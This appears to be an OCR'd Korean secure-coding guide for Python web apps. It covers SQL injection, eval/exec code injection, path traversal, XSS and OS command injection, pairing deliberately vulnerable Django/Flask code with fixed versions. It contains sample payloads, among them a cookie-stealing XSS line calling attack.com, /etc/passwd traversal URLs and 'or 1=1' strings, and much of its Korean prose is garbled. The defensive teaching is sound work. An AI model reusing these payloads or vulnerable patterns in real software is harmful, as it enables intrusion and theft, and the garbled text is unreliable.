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D =& Aoquast

B
€) Response
: for”1=1 Admin® —
| " having 1=1 == union select
EHWEH
HIO|E{H0|A(DB)Rt HSE # SELZ 10 UE CIOIE0| et 5 HES oHK| %S 42, 34 VL U &
2 URL /2210 SQL 22 41510 DBREE| HEE Falsi/ilt X 4 s OIS Lsit, 2ot 4 ggua
JHM=E AEBAZRE U 5 HE0l JHLXLZ 2| =5HK|

8 22 23 0] A0 SX2|(Dynamic Query)E 4517|
A2 FH27t HHE HERE

PythonOilAfi= Cl|O[E{H|O|AC]| AMAN| AIElE TS Python 2E7IO| UHNE H2iol7| $I5 DB-APIS H2| ot
QU Zh CIO|E{H|O|ADIC} BEO| DB Z&ES I%3H HIO|E{HO| A0 AMASHA ECt. DB-API 20k, LO|MoiAE=
Django, SQLAIchemy, StormS2| ORMZ AtE5t0{ C|O|E{H|O| AN AMATH 4 QUCt
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£ A2E Mol h7HHstEl Z2|(Parameterized query)S AR50 Q5 UZZLS HIQIEGHA] ALE5HH
SOL &g SHO=HE OIS ARBY = UL

PythonOllA] 20| AtEEl= ORMIEYHURAIZ = Djangol| querySets, SQLAIchemy, StormS0]| ULt ORM Y
YI= WREECE ARBEE 2l BE 0N Di7iHESHE HHES AME0IEE SOL oY SZe=]E HSELC

ORM 39| Al SQLE A8 FR0U T QTSHA AlZotaH 2IF Y S viH=3tE A2 vield
HEZ ARSI

Ct. 20X
7h) DB-API At OfIX|

CFSS MySql, PostgreSQLY] DB-APIS AIZ5101 21 38 WORK H2| she QNGH| 42 ZEOICE 0] ZR=
ol 92zt2 8, 9 2fQI0IM 2 WO B4 namelt content_iddll SILSHCH 12 ~ 152fRI00ME QJROIN 22 we
name} content_idZk2 ZZ5 10| 2ROl QIxf 2O AIBSK=T Hia 2XIY ZES S WAS MG ULt O]

AL content_id ZCZ @’ or @’ = @l &2 2 EXIES YHoHH X7 H0| content_id = ‘@’ or ‘@’ = ‘@’2 H{PY1,

1 A} board HIO|E FA| HIZES| name ZZO0| ZAXZEE YU S namel| ZCZE HAEIC

1: from django.shortcuts import render

2:

3: def update_board(request):

4: ..

[oF

6: with dbconn.cursor() as curs:

7: # AR =HE AHU2 IS AE Q0| MEY B AUNoHA| it
8: name = request.POST.get(name’, ")

9: content_id = request.POST.get(content_id', ")

10:

11: # AISAIS ABEX| fi2 o= 2E SHCZ Iz dY
12: sqgl_query = "update board set name=" + name + " where content_id="* + content_id + "
13:

14: # 22 YHU0| &3 8l0] HE|= A0 QAXSER]| QLT
15: curs.execute(sql_query)
16: curs.commit()
17: return render(request, '/success.html’)
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LE2 0I5 Qe =2 Bkt OMOITt. 7, 82l A2 2F YHAUS U= AEoHA| 811, 15621219
executeQHIMES] & B QX Ztoz HIRIY SHAM H2Z| 22 A3 SIACE 112klat 20| Df7HEHS Hf |'é% Sol

execute() &S SEOIH SAX} H2UE HESKE US YUoIHE §
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20| HIQIGE D7HEH=O| ZHO=0t A EX|

1: from django.shortcuts import render

2

3. def update_board(request):

4. .

55

6: with dbconn.cursor() as curs:

7 name = request.POST.get(name’, ")

8: content_id = request.POST.get(content_id', ")

9:

10: # QR Yoz 2H oMt 0 stEl S W St
11: sqgl_query = 'update board set name=%s where content_id=%s'
12:

13: # AEAE U S Oi7HH= 3tE FH2/0) HIRIF ot MelkE=
14: # QITSILY,

15: curs.execute(sgl_guery, (name, content_id))

16: curs.commit()

17: return render(request, '/success.html’)

SQLite DB-AP| At2UME SYSHA ™ZEOI 2|22 A0 MAstT AFRX} Q212 HICIY 510 tMEHA| AL26HO0E
SiCt, SQLiteGIA DH7HEHZ St F2|(Parameterized Query)E BHE7]| 2I5 “?”E PlaceholderZ AF25t7{Lt “:name”

X&H Named Placeholderg At2oh= @ 271X|7t QULCY.

L) ORM A2 OfH|

Django?| querysets= Hel W7HH3E AE0IH #2IE F-80t7| =20 SOL &Y SHCZREH ESFEM. 50|
SHAl EAl SQL, = AEA Fol SQLE MEE FR0 F YUHAZS HHStE H2|9| HIIE W2 ALESH0{0f
ct.

r

Of2i= Django? Al SQLE AtEsh= CGIM[O|Ct. DjangoQ ORM LY UXT= Al SQL HEIE =lot/| LloH
Manager.raw() 7|52 HSSLLCt.
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from django.shortcuts import render
from app.models import Member

1
2
3
4:  def member_search(request):

¥ # AR 2RH U S TR0,

6 name = request.POST.get('name’, )
7
8

. # QE2EH Y= T2 US 43 Sl0| HeZE S0 AEoto]
9: # QIHSHA| BAC.

10: query="select * from member where name=" + name + “~

11:

12: # 5 F e 43T Q10| AEst HERS raw( = Mot

13: # QISR LTt

14: data = Member.objects.raw(query)

15: return render(request, '/member_list.html', {member_list":data})

4

22 XSt IE OH|2 DjangoliA BAIZEES Maleh R0 I7HHSHE H2[E AFESIL params QI+E AIE

5101 raw() =2 HIQIE W2 AFZSI0{0F BHTt 921RI0IM 2|2 MES 731 2|2 HH5H 621l10M &
22 R UAZUS 102122 raw(HAZM F HAY QX2 HIQIFH~Z AMZSIAC.

otX

rP.'.'

JEo of

from django.shortcuts import render
from app.models import Member

1
2
3
4:  def member_search(request):

B # R=RH 4 ¢t= 720

6 name = request.POST.get('name’, ")
7
8

: # E o S raw()Els MY A HiRIY B2 ARSI FH2| A&t
9: # HADX| Y= S (list &2 %s, dictionary 82 %(key)sE AI2)

10: query="select * from member where name=%s'

11:

12: # QXSLE HEIES ALBSIY raw(E+E ABsto QIHsIt

13: data = Member.objects.raw(query, [name])

14: return render(request, '/member_list.html', {{member_list:data})

11



| Python AIZ0I=E Jt0i=

2. AR
® CWE-89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection’), MITRE,
https://cwe.mitre.org/data/definitions/89.html

@ SQL Injection Prevention Cheat Sheet, OWASP
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

® Sqlite3 DB-API, Python, Python Software Foundation,
https://docs.python.org/ko/3/library/sqlite3.html

@ MySQL, Python Coding Examples, Oracle Corporation
https://dev.mysqgl.com/doc/connector-python/en/connector-python-examples.html

® Django QuerySet API reference, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/ref/models/querysets/

® Django Performing raw SQL queries, Django Software Foundation,

https://docs.djangoproject.com/en/3.2/topics/db/sql/

@ SQL Expression Language Tutorial, SQLAIchemy,
https://docs.sqlalchemy.org/en/14/core/tutorial.html#using—textual-sq|
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Flofst ZETOIM ASAIS] Y A0 ZEJH Bolt= AS 618 ER, 3AA= AL AEoHK| 2 FEE
HAso] HSS HEoL 2S5 23, AAH TH MY S5 & = ATt

ol
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e
Hu
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S
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X
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Q
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¥

PythonOllA ZE Q) 348 L = U= &

o
ofA| E= Z% SAAVt HEet TES Oz adY

U3 Yo wx| Y=g, o

10 A =
L =
83 2XI2t TISES SN TS0l ABEE ABK 9 US

Ct. 0] x|

71) evalQgts A O

N
=l
[
E
oII

ChE2 QIHGHA| 42 HIMAATE

O -

2 oval)2 AIB3I0] MBRIZRE] Qe 742 Aasl0] ZIS 2BGHs HROIC,
UYS U3 0| MEY
|

i
I
]
g

SEFO.JOHH U L2 S OFFH HF 210] 102HA0N eval(Rt=2| QX2 ARSI UCH 2

© ZARI= Python TES YH0] 20|22 2E U ¥ Caky 4 S

g ZX7} L2t 22 FEE 3 51H 20% SO 22T Z 20| sleep AEHO)| HIE! 4 QULCE

message0|

GIAD) “compile(‘for x in range(1):\n import time\n time.sleep(20)’,’a’, single’)
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from django.shortcuts import render

def route(request):
#AE= B2 k2 AE 8l0| AKZotH QEMGHA| PAC.

message = request.POST.get(message’, ")

o
ol

# evalE40| 9 UAUS AS 0| AIBE PP Python ZET}
]

o171
# HaE 4 90] It

ret = eval(message)
return render(request, '/success.html’, {'data"ret})

Ctg2 NSt ZEZ Heket Of|M|0|Ct, F UHZ| Python ZEE AHAE =+~ U= =] WEE 510 ARHO|
715tH IEMUS sk 4= UL} of2f ZE= 42100 U |2 l3ZtE 102t219] eval()
ES

_JF_
ot=0| QUXt ZOZ AKZSE| TO| 92tRU0M &= 20| 2 AIUCZ YHLJ=X| AE T AEoI=F ot .

1: from django.shortcuts import render

2:

3. def route(request):

4: message = request.POST.get(message’, ")

55

6: # AEA YHE FE, A= HSlols 02, E+EXPIE ZEE 0
7: # AS 82 o2 HAIXIE 2E St

8:

9: if message.isalnum():

10: ret = eval(message)

11: return render(request, '/success.html’, {'data"ret})
120 L

Python2 CtSt String MethodsE HMIE3tD QUCH 2R A0 CHet ZB0| BTt AR MES HAEE ARESHOL
SIC}, Of2i= PythonOlAM MIE8H= String Methods® U Gl A|O|Ct,
* str.isalpha() : 2AIE e ZE 2X7t LMBI0|2, MO|T SiLte] 2X7t EXlsts Z2 Trues High
* str.isdecimal() : 2XtE {2 ZE EAL Tl X0\, MO{T otLte| EXt7t EXHet= 4L Trues Hiet
* strisdigit() : EAE We| RE EAL X0\, MO StLte| EXt
SSEl= Q| M £XQ 22 RAE T ex) 57 £ TrueS e

ol
=

212

1

U S Al AR YHUO| EF JAS [MefoF Y F M= 01830 ASS & 5 UL, Pythonol re 2t0[2

ALE5t0 AE 7St
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ex) prog = re.compile(r'((A-Za-z0-9]+[.—_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,)+)

L)) exec(Q&l ALE Of|A|

CH22 exec(&+E ARBSH QHHGHK| Q42 FE OfX|O|CE 42Ql0jM 2fut2 o AZts AT ¢l0| 921012 exec
0| QXIZ ARSot UCH 0] 2 S HO[H ZF| I MHO| Het 2R, HMA AR, HX|O 2ot SAE HFE
odist A OIr}
=22 T M

obHst| g2 FE of
1:  from django.shortcuts import render
2:
3. def request_rest_api(request):
4: function_name = request.POST.get(‘function_name', ")
5
6: # MEXOA MY S+HE ASoHA| ¥ A
7: # ™ ZOZ “import plaform \n platform.system()” S & Al
8: # AAREE & AFO0| U
9: ret = exec({}()".format(function_name))
10:
11: return render(request, '/success’, {data"ret})
4
CIE2 QofMst IEZ Hatst OM[O|CH. M E0A e = 20[E2{2| HE O[2] Hol$t 3I0|ERAEN U= XIE
Solot 2|AEN Sl= 42 ol HOXIE 2|HSHTt
obHst A= 0f
1:  from django.shortcuts import render
2:
3. WHITE_LIST = [get_friends_list', 'get_address', 'get_phone_number’]
4.
5:  def request_rest_api(request):
6: function_name = request.POST.get('function_name', ")
Ve
8: # = HES S0|EAER |G
9: if function_name in WHITE_LIST:
10: ret = exec({}()".format(function_name))
11: return render(request, '/success’, {'data':ret})
12:
13: return render(request, '/error’, {'error:'sI2%X| L S4=QlL|Ct.T)
| 4




| Python AIZ0I=E Jt0i=

2. HiXt=
® CWE-94: Improper Control of Generation of Code ('Code Injection’), MITRE,
https://cwe.mitre.org/data/definitions/94.html

@ CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (Eval Injection’), MITRE,
https://cwe.mitre.org/data/definitions/95.html

® Code Injection, OWASP,

https://owasp.org/www-community/attacks/Code_|njection

@ Python Built-in Functions - eval(), exec(), compile(), Python Software Foundation,
https://docs.python.org/3/library/functions.html#eval
https://docs.python.org/3/library/functions.html#exec
https://docs.python.org/3/library/functions.html#compile

® Python Built-in Types - isalnum(), Python Software Foundation,
https://docs.python.org/3/library/stdtypes.html

® Reqular expression operations, Python Software Foundation,
https://docs.python.org/3/library/re.html#module-re
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[Ate] S0 CHEEE URL]
[™E F] kg /S www victim, com/fdile downlosd Hilename=pic, jap&path=dala
[™M=E 8] hitp:/fwww victim,com/tile/download/ Milename=pasaswd&path=, / ./, Jelc/
1} HE T4 8 Regues ;
-
~
% |
(2) AAE M 8 L
gl o B A
ﬁﬂ-” i I.u' ¥
5 o
HBEA QS 9% YIS o IY U A S AAY @Y, A0 ZE S)f et B2 F2 AluS 3i8Y
A9, U 3 TN S AAHO| HEGH X0 Yolz I 4 U= HOIFHOIL. AZEN U KUY M
0|25I0 SZX= AHHQ 7 -AH|, AAR> FEEE, AAR Xt 2 SE2 QI8 MH|A F0i S5 |FEAIZ = AT
g, 42 =& ¢ XE HYUS SoiM 3ZAIE HEHR| 42 #ots &Sote, 4™ 2AE mUS HESHAL
AL & QU

Python®llAl= subprocess.popen()zt Z0| ZZNAS 0= &4, os.pipe(XME MO|ZE 0= &%, socket S1&
(o]

SOIM AR UHUS AS 80| ABY B 42 =4 F AE A FAH0| Y + AL

ool o7 U8 RETL, 222 28 Sia 4202 NS 39, AR 2B AES AL, 420 39
o|=

|Eg 6_H:r_ 9|, Q2| 0| mAFQI A= H2&3|(directory traversal) 322 §/&0| U= EXt

Ct. ZEOH| X
7h 4= =z oA

BEIRIGIM QI U2ZIOZ MY HZ S UE0F 1424000 TUS Tt JCt, FtoF FAXIL ../././../
etc/passwd2t Z2 3tS TESIH Q=okX| pIMH THUQ| LIO0| S2H0|UE Z0f| EAZO ALY Y2 2H7t L

StCt.
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QFdstX| =2 3= of

import os
from django.shortcuts import render

1
2
3
4:  def get_info(request):

5 # QAR ERH mMYHS Uty Q)

6 request_file = request.POST.get(request_file’)

7 filename, file_ext = os.path.splitext(request_file)
8 file_ext = file_ext.lower()

10: if file_ext not in [.txt', ".csv]:

11: return render(request, '/error.html’, {'error: IS A4 AFLICET)
12:

13: # ARERH E2 S dF 80 MY X2|0 ALSSIACt.

14: with open(request_file) as f:

15 data = f.read()

16:

17: return render(request, '/success.html’, {'data":data})

QF UM F=2 =& BXE (/, \, .. S HAS T TiUo| Z2EF0| ABET

orHst A= of

10 import os

2. from django.shortcuts import render

3:

4:  def get_info(request):

5: # Q5 g o= HI2 M 0|§2 HBoI0 ALEstt.
6: request_file = request.POST.get(request_file')

VE

8: filename, file_ext = os.path.splitext(request_file)

9: file_ext = file_ext.lower()

10:

11: if file_ext not in [.txt, ".csv]:

12: return render(request, 'Jerror.html’, {error:HAS S4 AUELICLY)
135

14: # MY oM d= RE EXNES THF S

15: filename = filename.replace(.’, ")

16: filename = filename.replace(/', ")

17: filename = filename.replace(\\', ")

18:

19: with open(filename + file_ext) as f:
21: data = f.read()
22:
23: return render(request, '/success.html’, {'data":data})

18
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relplace &4 0= re.sub, filter &5 AR5l E&EXE ZEE o= AT 7HsotL)

L) b2l & Ol

Ol Mixl= QHHGH| 42 ZEQ| OE, 2iFel YHS A% HEMSE T2 AEsta Ut 2F U=YUS HSBEU0|

A8 22 JIE KT SE2 o2 W & ULk

obst| r2 FE of
1: import socket
2. from django.shortcuts import render
3:
4:  def get_info(request):
5 port = request.POST.get(port)
6:
7: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
8: # AR UHUS ASEHX| I ZEHSE 0|801¢
9: # AZES HIRIF 50 AtEotl QU0 QEFSEK] QLT
10: s.bind((127.0.0.1", port))
11:
12: return render(request, '/success’)
13: return render(request, '/error', {'error''AZIHZ AIj'})

y

a4

ChE2 QHHSt GIIMIE LIEHH ZI0|Ct. LHRAI0| HI g o AR0M & &2 &
% X C

=3 EH
= =
ZolX| e, & st R Jistt 2AEE 2FoL, oy ©el UM SIEE=SF Aottt

QrMSt A0 off

1: import socket
2. from django.shortcuts import render
3:
4. ALLOW_PORT = [4000, 6000, 9000]
B
6: def get_info(request):
7: port = int(request.POST.get(port’))
8:
o: # A2 Jt55t IE HSE S0|EZAER HEt
10: if port not in ALLOW_PORT:
11: return render(request, 'Jerror, {'error'AZIHZA ATf})
12:
13: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
14: s.bind(("127.0.0.1", port))
MW esee
16: return render(request, '/success’)
| 4

19
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® CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal’), MITRE,
https://cwe.mitre.org/data/definitions/22.html

@ CWE-99: Improper Control of Resource ldentifiers (Resource Injection’), MITRE,
https://cwe.mitre.org/data/definitions/99.html

® Path Traversal, OWASP,

https://owasp.org/www-community/attacks/Path_Traversal

@ Resource Injection, OWASP,
https://owasp.org/www-community/attacks/Resource_Injection

® File Uploads, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/topics/http/file-uploads/

® HTML Helpers, Werkzeug,
https://werkzeug.palletsprojects.com/en/2.0.x/utils/#module-werkzeug.utils
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4. AZAAN0IE AJEE(XSS)

7} M

: {img src="http://attack.com/dog.ipg?cookie="document. cookie}

8% Aayes} Zaxe| AAE 14
RUE NS EE — WOIE] 528 0
: .g
i
FuLSges) 2YE
FHK B A AALE WOIE B

J.|H X}

AZAMO|E ATJBE ZZ(Cross-site scripting Attacks)2 HAIO|E0]| 244 FES MQlots I YWHO|CH Z3ZHX =
Chat ¥ S8 Z2IO| ZEg 0|86t0 AYTS(YYHoZ Z20|HE = JavaScript AFR)E ALSXIOIA| 2HC}. XSS

—_ =

A2 YEHOR OfS2AH01M2 SAE XHE Y= StX| B1l 0HZ2(AH01M2| AEAIE SEZ =L

Ok

XSS= BAXD Y SEO2IAS 0] ABKIQ HALHOIN AE & Q= 40| HOIES B 0f Yt Ust

ol HTMLR Z2{A7} HB3t XSSTEQ| X8t #8t 0fL2t OTE Ce2C, B

BITE ARRXIZF QA0 I2ft BOIE] EE MH{0lA S20|9E ATEY0|(22IRX

x HEA
E

(=]
o2 FYE GO[ED} S HF ¢0 ASKI BAEES Hgal 22

2791 = 0|Cjof 2EIXE 0|2517|E
= WebKitS)2 Z2X(endpoint)

XSSEA2 IA M7HX| R SAYHO| AL

28 1 : Reflective XSS (or Non—persistent XSS)

- Reflective XSS 34 ZEE ABAIR| HTTP Q0| AN F, sHE +L TEI} MY S W80 = HrAL
(Reflected) |0 H2IRX0A ASA|7|= BZ7|HO|C}. Reflective XSSE AZ5I2H SZXIIE AFRXIE £0] CHA
AIO|EE H|0|EE EHEZS SHOf SiCt. O] M2 E2F ARBAPL AQ&oz HZE IS SHEIEE SUCEMN 3
EII:r. iR E2] Z2 Reflective XSS HIZLIES SWECE AN =[ALE MISHAH ML= T|&(Phishing) O|HY!

HE URL = 2S5 URLO Of7H Ha-2 Ealoh= BHHOICE 0]2{5t Bio= ?*o URLEZ 2 o HAZL

- O 1—

(b

S o, SAX= LfshiAt7} Fofet AO|ES HZEok= URLS YEoI=SE REICh Lo 235 YEsHH
SEEJL DGHAI| H2tRX0M M52 HAEL

I> 2

* 98] 2 : Persistent XSS (or Stored XSS)

- Persistent XSS= MZ[& & AL SARIEIX| §42 AFSA} Y20| e AHO| MYE L LY, Persistent XSS2
LI HY0ll= AT = = Y2 277t ZEHELE 0] 7IsS2 UBEHAL ASEX| §2 TE AEAL
SARL| oY ZHXE £ + U= 7IS0I0}. A8(Social) DITI0] AOIE & 3|2 OE0M = =

—

SHHECZ EAEE Z23 H0[Xl=

=1
, A2 E

E
Persistent XS89 £+2 4 iy & oStLHALILL SAX= Z2T LHLA

°
o
o4y ATRES 243t 4 U0 LIZ ASAPH TRLS Ws|R 2SN NSOR 7t MYEES 3t 4 Urh



Python AIZOIZE JH0IE

* 38 3 : DOM 7|8t XSS (or Client-Side XSS)

- DOM 7|8 XSS2 54 A3EEJ HetE oFd URLS sdlf MEE= 427t 7] WE0 Reflective XSS 0=
T RARICE 2Lt MEY 5 U= MOIES| HTTP SEU| HO|ZEE E&ok= Uit DOM E= 2A A Z&S
S5t HRtRMUM SEECZ XS SAS MG 0l= @ HOIX|0| U= AHBAL U S MAESH X2leh|

7.

= —
@Igt JavaScripte] #5 2EE F&3t o= AS =HE i

opy AIYET} HUSIT BHRKE Y oY BSS 4% ¥ 4 UCh SANE MM MBS B3 o 27|92
ol MRS maiRie] HRENM SR BEE 4 AT BAKE LKl YRS AIZSH0 Y AOIE ot

H 2 QS HY £ QOM, HGHA} SiE AOIES #2| & £ U= Z2|XH H3H0| U= H AMOIEN S| A
g &= QUCh OA(Phishing) 342 ME[E = U= 8 AOIESE ZHSHY OGHAL ASE UGS £0{ JAXIL
ofiE B AMOIEOIM oAl AEES &HAIZ = UL

IFO|MO A 7FRF 20| AFR5I = Django AT} Flask ZHULI0A= 242t Django EIEE3} Jinja2
HEAS A8Y Al AZAM0|E ATJHE ZH0| MEE £+ U= HFet HTML =X tHal HTML S==2Xt
(HTML Entities)2 X|2tot= 7158 MBS AN ZHUYINM HSd= HEXES MESh= E ATGH AL

B 4 o,

Lt. ot

o

Ag714

QIF U E= YN 2ATEET YYUHX| ROI=E EXE X 4SS MBS &O*/0SE &amp; &lt; &gt
&quot; &d#x27; &#x2F; &d#tx28; &#x29;E X|&HGHALE, html2t0|E22|2| escape()E AIESICH HTML EjIE S183k=
AAHOIME S18%l= HTML EHISS SIOIEZIAER THEN SiE EfID X[RISH=SE STt

TIO|MOIM 7+ BIO| Ak8otk= T 2fIF2! Django, FlaskSE AtEdt=s 3% AR YHU0 A AIHETL oY
X Zot=E ORI KHOA SZAAO0|E AFEE SH0| ALE £ U= BXIE HTML E2EXKHTML Entities)2
X0l S HOIXIE YYSIEZ F2AMO0|E ASHEZRE HSHCE IHAYIHM A2AMO|E ASEE SHOZ

2H HS5 F= 7150] U TSI 2 FRE AL JHERL| M2 HST|50| FES He A7 AN FAS
7

Ct. IEOA|
7P Django GilH|

Django Z|ART= A=ZAMO|E AJTE JA0| st E27|SS WS UKX|TE FOloiOF & AF&0| 2 7] ULt
Django?| “safestring(django.utils.safestring)’2| 7|52 2% AL Djangoll AZAA0|E AJEE HS HEO|

2215 g 4 Uk

!

22
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OFHBIA| 9

Lo of

rlo

from django.shortcuts import render
from django.utils.safestring import mark_safe

1
2
3
4:  def profile_link(request):

¥ # e LS AS 210| HTML BT MH9| QIXIZ AL
6 profile_url = request.POST.get(profile_url’)

7 profile_name = requst.POST.get('profile_name'’)

8

9: object_link = (a href="{}"M{}{/a)' format(profile_url, profile_name)
10: # mark_safe®= Django2 XSS escape MAS MEX| QU=Ct
11: object_link = mark_safe(object_link)
12:
13: return render(request, 'my_profile.html' {'object_link":object_link})
4
Django ZH|UTE= HER AA Al HTMLOIM QI8 ZHOZ ZEREl= E4 2XH“C, ), “7, 7, ‘)2 2& html

AEEZ X/ BHRIEH mark_safeS AISE Z9 0] BES M2X| Lt

[2EA mark_safe 42 AR

AE0HA| =C.

!

ZO 23t o7t WRGHT MEJF 4 g HOIE) o= mark_safe 3145

from django.shortcuts import render

def profile_link(request):
# e LS AT 2A0| HTML BT MH9| QUXIZ AL
profile_url = request.POST.get(profile_url’)
profile_name = requst.POST.get('profile_name'’)

object_link = (a href="{}"{}{/a)' format(profile_url, profile_name)
# A2 & 2 gl= oo[H0 tiSHME= mark_safe &4~ AMESIX| LE=Ct

e © N0k wN

—_

return render(request, 'my_profile.htm!' {'object_link":object_link})

CH22 Django Z2|AYI0IAS] EHES! GXIOICt. autoescape 25

o
=
HoliM safe BEHE ALY R A2ZAM0|E ASHE ZH0 &2 + UCL

23
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1: {ldoctype html)
2. <html)
3 {body)
4 {div class="content")
b: {% autoescape off %}
6: // autoescape off2 Y EZLH9| H|O|E= XSS 20|
v /] =29 & 92
8 {{ content }}
9: {% endautoescape %}
10: {/divy
11: {div class="content2")
12: //safe TWH AI2OZ XSS 240 &2 £ US.
13: {{ content | safe I}
14: {/div)
15 {/body)
16:  {/html)
| 4
ME[eh 4 gl= YA = SH HI0|E0] CioiA= autoescape &M /2 on2E o1 safe LEE £50| 5P A
AR F71HQl HOtriai0| Tt
otz Ao of
1: {ldoctype html)
2: <(html)
3 {body)
4 {div class="content")
5: {% autoescape on %}
6: // autoescape onZ Y SZLHO| H0|EH= XSS 20|
7 {{ content }}
8: {% endautoescape %}
9: {/div)
10: {div class="content2")
11: [/BBEX| %2 H0|E0= safe ZEIE AESHK| Z=LCt
12: {{ content }}
13: {/div)
14: {/body)
15:  {/html)
| 4

autoescape 252 AT 4 U2 FOIE 7IS0{0F STt autoescape SMUS off2 HESH RSS! IO|XIE
include = extendsdh= HIZXIX| FE0| SYECL SSHOZ AEsh= HEXHOIX|M off2 ¥ 42 Y2 HEA

HO|X|7t Z2AAOIE AFEE JA0| EE = ULt

24
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Lt) FlaskoflA2e] oA

ol

AIgXte] 20l E3IE 3t T DBO| AE 3t EE LSOl NS S 8T S 13

=3 ot a2 S5 @ HOIX|
YE0| A83hs R AZAMO0|E ATYE(XSS) SA0] LM 7k540] 201 AYSITE. Of2ff GIMI= Flask ZHAAIS

ARt QIHSHA| g2 GiIMIOITt,

obHatx| ot FEQ| o

from flask import Flask, request, render_template

1
2
3.  @app.route('/search’, methods=[POSTY)

4:  def search():

5: search_keyword = request.form.get('search_keyword)

6: # AEAS Y=g OFRd A E= X2 glo] 3& & HO|X|0] ARgotl QU0
7 # AZA AO|E AFFHET} dhMist & It

8

return render_template('search.html’, search_keyword=search_keyword)

| 4

S5 ¥ HO|X| Mol AFBEl= HIOIEE HTML YEIE| ZE (Entity Code)E XIStSt] QTS| H3dGI0{0F St
html.escape HAEE EXHEL| &, ( L ) EFEXIE HTMLOA] QHHSH groz2 HEtsITE SM 29| quote 240 TrueO|™
EX ()2 () HEHEIDE (a href="--“)0MXE MBEZ FL2= HTML HEZIRE Zi0| Z&el= BXIES Tae 42
Y = Ut

ofxq

—_

-

E9 of

import html
from flask import Flask, request, render_template

@app.route('/search’, methods=['POST)
def search():
search_keyword = request.form.get('search_keyword')

# 5 ¢ HOIX| ¥d0 A85= Hl0|E=
# HTML EIE|IZ=Z X|2t6t0] HESsHOFSICH
escape_keyword = html.escape(search_keyword)

= e © o N g bk w2

—_

return render_template('search.html’, search_keyword=escape_keyword)
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® CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting), MITRE,
https://cwe.mitre.org/data/definitions/79.html

@ Cross Site Scripting (XSS), OWASP,
https://owasp.org/www-community/attacks/xss/

® html - HyperText Markup Language support, Python Software Foundation,
https://docs.python.org/3/library/html.html

@ Flask Security Considerations Cross-Site Scripting (XSS), Flask docs,
https://flask-docs—kr.readthedocs.io/ko/latest/security.html

® Django Security in Django Cross site scripting (XSS) protection, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/topics/security/
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5. 2N 30 &Y
L e
itk S Faax -:.::-|||."-:.-::-||||.-.:||':,-."<__;|||||-:'."-'- md=dir CWalile=guide, pdl

1. FEMN AT WU RN

2. BIEO| WM TN Bl —
M

25}

In cal etefpasswad dir mal

TOWHOIA eval() &0t exec() B4 LISOIN XIS Meh[0l BRISHIRL String BAlS] BHE AlS 014E
WO HIBISHS eval() E4-0 Q142 Y EXIUS ABH= exec)S 20| AIBSIT 03 H4S0| SHOZ S Hsl0]

AMEE £ A0 Command Injectlo 3401 F ksict,

0

QI Q0] AIAR) BO| BESH= B2 |, 5, & 1, ), (, ‘(backtick), \, | I 20| LEI2fQ! Tj0|T 2|CI0[HE 2X}
S2 LEY o7 BYS Y LAY, SNS HSI6H0] QKD AR 4 TS BT QR 20| 2 TS M5t
7L ME0] TS ZR0I= O AN0| TS 2t S2 02 KHe £T AL ULO| M2 MEGI0] ALSSICY,

Ct. ZEO| X
LS OIMl= os.systemeE 018010 2IF 2 Y2 = Soff Z=dS AAoHH, AR0M TEE= 2Kt 22 FZ02
A0 ALZEL. I2L sy Z2O0A s T2 IS M| § 7| HE0l 2AR9| SAXl= 75t 2 B2

JE JyAIZ 5 UCL
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10 import os
2. from django.shortcuts import render
3:
4: def execute_command(request):
5: app_name_string = request.POST.get(app_name',")
6: # UL O2H0|HE MSkokX| f1oF 2/ ez MEE
7: # DE DZU0| Mg 4 QS
8: 0s.system(app_name_string)
9: return render(request, '/success.html’)
| 4
QF0IM = B2 20| HHOQ| 2X= ARZEIX] 411 HHOZE AMEE Z<R0= 0|2] SI0|ERAEL| Fo|FE mi2to|E
HIES TS0 =10, Q9 =0 M2t MEst MZI0[HE MEGIES 50, IR 2AEsH 20| HHOE MEE Jtsde
HHXISHO{0F LY.
QrHMst IEQ| o
10 import os
2. from django.shortcuts import render
3:
4:  ALLOW_PROGRAM = [notepad', ‘calc]]
b
6: def execute_command(request):
7: app_name_string = request.POST.get(app_name',")
8:
9: # YEE2 ORI0IEE AE7HsE AIA” BN URZ Sl AL
10: if app_name_string not in ALLOW_PROGRAM:
11: return render(request, '/error.html’, {ERROR"'S{%|X| 42 T2 IHQILICE')
12:
13: 0s.system(app_name_string)
14: return render(request, '/success.html’)
| 4
CH22 subprocess(E+E AMBSI0 Be| DR2MAR SELEIUS Motz 229 QHMGIX| 42 OfM[0|Ct. 2%
UHAUCE B2 MEN|HE B2 HE 20| subprocess?| QX ZtC= ALEStD ULt
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import subprocess
from django.shortcuts import render

def execute_command(request):
date = request.POST.get('date’,")
# YE2 O2l0|EE MSIoHA| LoF MEE ZE Z=T120|

cmd_str = ‘cmd /c backuplog.bat ” + date
subprocess.run(cmd_str, shell=True)
return render(request, '/success.html’)

© ©@ e = @ e n Wi =

—

2EHA HHO| A3l Aloll= Of2Het 20| IR0IN S0{= 2ol 2l6t0 HEI2IRIS X[&sk= E+2XK], 5, & &, ', \, DLt
oY ZICHOME E£2XK ), ) )62 Mo HotX| = 2YHA HHO7L 4 2 + s HHIS SESICh
Command linesg T& 245t escapedt= 7|52 MHEdt= ZEQ! shlex ZE2 AIESIH TEHIS YoiC

subprocess?| M t & shell=True & AR F7t TZM|A0| Qo] HZ0| MSHE| Of 0|2, AUCSTIE(Y), EAHL

23y 59 2 JIsE dF 80l & 60”3f71l EIB2 shell?] 82 A BT}, (default 22 False)

A

1:  import subprocess
2. from django.shortcuts import render
3
4:  def execute_command(request):
5: date = request.POST.get(date’,")
6:
VE # THUE FII2 A E= OE HHO| HAE & U= 7I/E0
8: # OISt ol x2
9: for word in [[', 5, &, ", 0, ¢ O\ T
10: date = date.replace(word, “)
11:
12: # shell=True SN2 M ot FFu 2AXNE HiZE= UH
13: subprocess.run([‘cmd"”, "/c", "backuplog.bat", date])
14: return render(request, '/success.html’)
re.sub®f+E ARZSI0] CH2t 20| EEXE MAY = UCL

% date = re.sub([;:&)C\\\]', ", date)

29



